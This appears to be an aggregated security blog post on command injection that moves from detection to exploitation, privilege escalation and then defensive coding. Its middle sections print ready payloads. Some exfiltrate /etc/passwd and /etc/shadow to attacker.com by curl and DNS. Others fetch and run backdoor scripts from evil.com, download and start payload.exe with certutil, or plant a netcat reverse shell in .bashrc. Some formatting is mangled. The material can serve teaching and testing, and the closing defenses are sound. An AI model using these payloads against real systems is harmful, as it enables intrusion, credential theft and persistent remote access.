Listen to this Post

Introduction:
Command injection remains one of the most critical yet frequently overlooked vulnerabilities in modern web applications. Attackers exploit unsanitized user inputs to execute arbitrary operating system commands on the host server, leading to data breaches, lateral movement, and complete system compromise. This article dissects real-world command injection techniques, provides validated commands for both Linux and Windows environments, and offers step‑by‑step mitigation strategies.
Learning Objectives:
- Identify command injection vectors in web parameters, headers, and file uploads.
- Execute blind and out‑of‑band command injection using DNS/HTTP exfiltration.
- Harden applications with input validation, allowlisting, and least‑privilege principles.
You Should Know:
1. Detecting Classic Command Injection Vulnerabilities
Command injection occurs when an application passes unsafe user data to a system shell. Classic testing involves injecting metacharacters such as ;, &&, |, `, or `$()` into input fields (e.g., ping tool, file name, search box). A successful injection causes the server to execute additional commands alongside the intended one.
Step‑by‑step guide for manual detection (Linux target):
- Test with time‑based payloads:
`127.0.0.1; sleep 5`
If the response is delayed by 5 seconds, injection is likely.
- Use DNS exfiltration (blind injection):
`nslookup $(whoami).attacker.com` or
`curl http://attacker.com/$(cat /etc/passwd | base64)`
Monitor your DNS/HTTP logs for the exfiltrated data.
- Windows command injection test:
`127.0.0.1 & timeout 5 &` or
`| ping -n 5 127.0.0.1`
- Bypass common filters:
Use wildcards (/???/c?t /???/p?ss?d), environment variables ($PATH), or command substitution ({cat,/etc/passwd}).
2. Exploiting Blind Command Injection with Out‑of‑Band Techniques
Blind injection yields no direct output, but attackers can trigger external interactions. Out‑of‑band (OOB) techniques rely on protocols like DNS, HTTP, or ICMP to extract data.
Step‑by‑step guide for OOB exploitation:
- Set up a listener on attacker machine (Linux):
`sudo tcpdump -i eth0 ‘udp port 53’` or use `interactsh` for automated OOB detection:
`interactsh-client -o oob.log`
- Inject a DNS payload in a vulnerable parameter:
`; nslookup $(id | base64 | tr -d ‘\n’).your-collab-id.oastify.com` - For Windows:
`& certutil -urlcache -f http://your-server/payload.exe %TEMP%\out.exe & start %TEMP%\out.exe` - Use HTTP callback with cURL or PowerShell:
Linux: `; curl http://attacker.com/?data=$(cat /etc/shadow | base64)`
Windows: `| powershell Invoke-WebRequest -Uri “http://attacker.com/?data=$env:USERNAME”` - Mitigation note: Disable unnecessary system utilities (nslookup, curl, wget) in production containers and monitor outbound DNS for anomalous queries.
- Command Injection in File Upload & API Endpoints
File names, metadata, and API parameters are common injection points. For instance, an image uploader that runs `exiftool` or `ffmpeg` may pass the filename to a shell.
Step‑by‑step guide for testing and hardening:
- Craft a malicious file name:
`$(curl attacker.com/backdoor.sh | bash).jpg`
Upload and trigger processing.
- API JSON injection example:
{"ip":"127.0.0.1; wget http://evil.com/shell.sh -O /tmp/shell.sh && bash /tmp/shell.sh"} -
Linux command to search for vulnerable scripts:
`grep -rE “(system|exec|popen|shell_exec|passthru|proc_open)” /var/www/html/ –include=.php`
- Windows equivalent (findstr):
`findstr /s /i /m “system\\(\\|exec\\(\\|shell_exec\\|CreateProcess” C:\inetpub\wwwroot\.php`
- Hardening: Use parameterized APIs, avoid shell wrappers, and implement a Web Application Firewall (WAF) rule that blocks request containing
;,|,`,$(.
4. Privilege Escalation via Command Injection
Once command injection is confirmed, escalate privileges by abusing sudo rights, SUID binaries, or cron jobs.
Step‑by‑step guide for post‑exploitation:
- Check sudo permissions (Linux):
`sudo -l` – look for commands that allow wildcards or arguments injection. -
Abuse sudo with wildcards (e.g., tar, rsync):
If `sudo tar` is allowed, create a file named `–checkpoint=1` and another named--checkpoint-action=exec=sh shell.sh. Then runsudo tar cf archive.tar `.- Windows privilege escalation via stored credentials:
`cmdkey /list – list saved credentials.
Then run `runas /savecred /user:Administrator “cmd.exe /c whoami > C:\temp\priv.txt”`
-
Linux persistence through command injection:
Inject `echo ‘nc -e /bin/bash attacker-ip 4444’ >> ~/.bashrc` into a vulnerable parameter that runs as a privileged user. -
Mitigation: Enforce the principle of least privilege, use AppArmor/SELinux, and regularly audit cron jobs and sudoers.
5. Defensive Coding & Automated Detection
Developers must shift left by implementing secure coding practices and integrating static analysis tools into CI/CD pipelines.
Step‑by‑step guide for defense:
- Java (Spring) – use `ProcessBuilder` instead of
Runtime.exec():ProcessBuilder pb = new ProcessBuilder("ping", "-c", "4", userInput); pb.redirectErrorStream(true); Process p = pb.start(); -
Python – avoid `os.system()` and
subprocess.call(shell=True):import subprocess subprocess.run(["ping", "-c", "4", user_input], shell=False, check=True)
-
Node.js – use `child_process.execFile()` instead of
exec():const { execFile } = require('child_process'); execFile('ping', ['-c', '4', userInput], (error, stdout) => {}); -
Automated scanning with Semgrep:
semgrep --config p/command-injection ./src
-
WAF rule to detect common injection patterns (ModSecurity example):
`SecRule ARGS “[\|\&\;\`\$\()]” “id:123,deny,status:403,msg:’Command injection detected'”`
What Undercode Say:
- Command injection remains prevalent because developers trust input validation over architectural controls – always assume user input is malicious.
- Out‑of‑band detection is the most reliable way to find blind injection; integrate OOB testing into every pentest and bug bounty program.
- Defensive coding with allowlists (e.g., only digits for IP addresses) and avoiding shell invocation eliminates entire classes of vulnerabilities.
Prediction:
By 2027, AI‑powered code generation will reduce accidental command injection but also produce sophisticated mutation attacks that bypass traditional signatures. Organizations will shift toward runtime eBPF monitoring and immutable infrastructure, where ephemeral containers prevent persistent shell access. The arms race will elevate command injection to advanced hybrid attacks combining server‑side injection with client‑side cross‑site scripting (XSS) to steal session tokens and execute commands through authenticated user contexts. Proactive red teaming and zero‑trust execution environments will become mandatory for compliance.
▶️ Related Video (86% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Infosec Cybersecurity – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅


